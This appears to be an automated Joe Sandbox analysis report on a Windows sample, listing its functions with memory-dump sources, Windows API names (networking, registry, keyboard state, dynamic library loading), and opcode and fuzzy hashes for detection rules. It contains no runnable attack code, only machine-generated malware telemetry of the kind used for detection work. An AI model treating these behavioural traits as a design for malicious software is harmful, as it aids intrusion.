                                                            Function 00007FF69DBAB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
                                                            • String ID: \*.*
                                                            • API String ID: 3196045410-1173974218
                                                            • Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                            • Instruction ID: 12944e077b4c3e104d040461f7dfb9f43f5351140cccfc4b25ec945e380d58de
                                                            • Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
                                                            • Instruction Fuzzy Hash: D74162A2A0864395EB30DB24D8501FD67A4FF96798F840171DA8DD3A9DFF28DA09C740
                                                            Function 00007FF69DB9DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$ClassName
                                                            • String ID: ComboBox$ListBox
                                                            • API String ID: 787153527-1403004172
                                                            • Opcode ID: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
                                                            • Instruction ID: 0f2221585d2005151338036273d9eb2cafc024c92806343eac6813b39d3988fd
                                                            • Opcode Fuzzy Hash: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
                                                            • Instruction Fuzzy Hash: A531D3A2A0968282EA30DB15E4415B963A0FB96B84F5442B1DADD87799EF3CE506C700
                                                            Function 00007FF69DBBD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                            • String ID:
                                                            • API String ID: 3113390036-3916222277
                                                            • Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                            • Instruction ID: 5178cd30c604ddf0ffd2af85e5cc99b8b78ebc1b8ab9b1b00e1fa9f93f69116e
                                                            • Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
                                                            • Instruction Fuzzy Hash: DA31A8A2A1C64245FB709F11A4906BE6790FB86780F545171DF8E97B9DEE3CD4068B40
                                                            Function 00007FF69DBD93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                            • String ID: SysAnimate32
                                                            • API String ID: 4146253029-1011021900
                                                            • Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                            • Instruction ID: fbfb60043accb05ac41c6336247e0b088227dd57181abdf25166b5a088d3ce08
                                                            • Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
                                                            • Instruction Fuzzy Hash: BA31A4B26097C1CAEB708F25E454B6A33A0FB86785F504276DA9D87B88EF3CD445CB00
                                                            Function 00007FF69DB59164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressFreeHandleLibraryModuleProc
                                                            • String ID: CorExitProcess$mscoree.dll
                                                            • API String ID: 4061214504-1276376045
                                                            • Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                            • Instruction ID: a16c89b4383cccf18c94a7968457783a9baf14abc15d712951c80cf1db8a1e30
                                                            • Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
                                                            • Instruction Fuzzy Hash: 90F044A1A19A4291EE649F11E44477963A1EF89B90F8410B5E98FC7658EE3CD444C750
                                                            Function 00007FF69DB789B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2f06d0b1d19ede39c94ed452b1c65b617356a11cb49397c7e380f0e2becba314
                                                            • Instruction ID: 965260886674ed77f7fa455e3b12df5896bcfcfffb91cb3060d4032281837b62
                                                            • Opcode Fuzzy Hash: 2f06d0b1d19ede39c94ed452b1c65b617356a11cb49397c7e380f0e2becba314
                                                            • Instruction Fuzzy Hash: 3DA1F3E6F0878267EB308B6194103B96691EF02BA4F5846B5DA9D87BCDFF3CE5448350
                                                            Function 00007FF69DBC45A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLasthtonsinet_ntoa
                                                            • String ID:
                                                            • API String ID: 2227131780-0
                                                            • Opcode ID: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
                                                            • Instruction ID: 6f65c8c6d84676653e01776e6bd6686302fef93eb02c9759c1aabf52b844d864
                                                            • Opcode Fuzzy Hash: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
                                                            • Instruction Fuzzy Hash: 2DA1B6A2B0968286DF30DB2AD8502BDA790FF86B94F404575DE8EC779DEE3CE5058700
                                                            Function 00007FF69DB6ED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                            • Instruction ID: d7c74c0d16ed72dda6da4c00c171dc06a4f7ed31f160958215e9a65d2e18b0fa
                                                            • Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
                                                            • Instruction Fuzzy Hash: C381C1A2E1861285F7709B2594806BD36A0FB46B64F8081B5DE8E977DDEF3CE406C710
                                                            Function 00007FF69DB6E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
                                                            • String ID:
                                                            • API String ID: 3659116390-0
                                                            • Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                            • Instruction ID: e23a0b4d03b70cb5e54a962d8376bbaaf83c43dbd9a06c300a7287c9c1850c7d
                                                            • Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
                                                            • Instruction Fuzzy Hash: 7551D272A14A5189E720CF65E4443AC3BB0FB45BA8F448175CE9E87B99EF38D146C710
                                                            Function 00007FF69DBD0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                            • String ID:
                                                            • API String ID: 3740051246-0
                                                            • Opcode ID: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
                                                            • Instruction ID: dd5c3d4ecae6b32d7741a4c3c08af9b3146103a3cbb00605df64fe5c863f86c2
                                                            • Opcode Fuzzy Hash: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
                                                            • Instruction Fuzzy Hash: E661A0B2A09A8286EB20DF65D4843BDB770FB86784F404172EA8D8766EEF7CD545C740
                                                            Function 00007FF69DBCD0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DBCC2BF), ref: 00007FF69DBCD176
                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DBCC2BF), ref: 00007FF69DBCD217
                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DBCC2BF), ref: 00007FF69DBCD236
                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DBCC2BF), ref: 00007FF69DBCD281
                                                            • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF69DBCC2BF), ref: 00007FF69DBCD2A0
                                                              • Part of subcall function 00007FF69DB54120: WideCharToMultiByte.KERNEL32 ref: 00007FF69DB54160
                                                              • Part of subcall function 00007FF69DB54120: WideCharToMultiByte.KERNEL32 ref: 00007FF69DB5419C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                            • String ID:
                                                            • API String ID: 666041331-0
                                                            • Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                            • Instruction ID: e9eaa4ed352a731fb7f263acc9890691891bcb86fa5b6c4db85c089b7f794f6f
                                                            • Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
                                                            • Instruction Fuzzy Hash: 35512AB6A05B0686EF20DF66D8841ACB3B4FB9AF84B554476DE9E87359EF38D441C300
                                                            Function 00007FF69DBA670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Variant$Clear$ChangeInitType
                                                            • String ID:
                                                            • API String ID: 4136290138-0
                                                            • Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                            • Instruction ID: 572b89208246cb5243f71b9c8bbfc2d94062fd4804c4408a41d6c391e5d50c14
                                                            • Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
                                                            • Instruction Fuzzy Hash: 895142B7625A8592DB60CF15D4847AD33B8FB94B80F428132CB8E87768EF39E458C701
                                                            Function 00007FF69DB72998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                            • Instruction ID: d3d1db9c73a6135a1c7688561487d0ddb6e961dd1a0301f270025928ff64202d
                                                            • Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
                                                            • Instruction Fuzzy Hash: 4951B6A2A09782A6EB708F11944017D77A5EF46BA0F1443B5DAED87BDDEE3CE441C700
                                                            Function 00007FF69DBB96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: PrivateProfile$SectionWrite$String
                                                            • String ID:
                                                            • API String ID: 2832842796-0
                                                            • Opcode ID: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
                                                            • Instruction ID: 1028ff790a0774c1a2959651d2b5a01921a4fb5a1925c9a99d8a5e2c66e90a51
                                                            • Opcode Fuzzy Hash: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
                                                            • Instruction Fuzzy Hash: 79510A66A18A4282DB24DF26D49026DB7A0FB89FD4F548472EF8E8776ADF3CD440C740
                                                            Function 00007FF69DB31CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AsyncState$ClientCursorScreen
                                                            • String ID:
                                                            • API String ID: 4210589936-0
                                                            • Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
                                                            • Instruction ID: ff453fb038700cc7f498d9b9b3a371bbbb08b141ce126a04775583ad96aecf25
                                                            • Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
                                                            • Instruction Fuzzy Hash: D851F1B6B096819BE7A4CF32D440669B7A4FB47794F000271EA9E83BD9DF38E4518700
                                                            Function 00007FF69DB6BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressProc
                                                            • String ID:
                                                            • API String ID: 190572456-0
                                                            • Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
                                                            • Instruction ID: ea913430f890f9e575988a9a0648afb06169821d32544d4fa1979a779e21a870
                                                            • Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
                                                            • Instruction Fuzzy Hash: DB41C5A1B19A0281FA359F06A81027A73A5FF49BA0F494575DD9DCB38CFE3CE4018304
                                                            Function 00007FF69DBDFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Show$Enable
                                                            • String ID:
                                                            • API String ID: 2939132127-0
                                                            • Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
                                                            • Instruction ID: d698982b71cdc79377c0f54d28c84740389bff192f5278bc22bba942341d036e
                                                            • Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
                                                            • Instruction Fuzzy Hash: EF51967290978AC1EB71CB15D55467837A0EB86B48F1840F6CA8D877A9EE3DE442D360
                                                            Function 00007FF69DB9D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
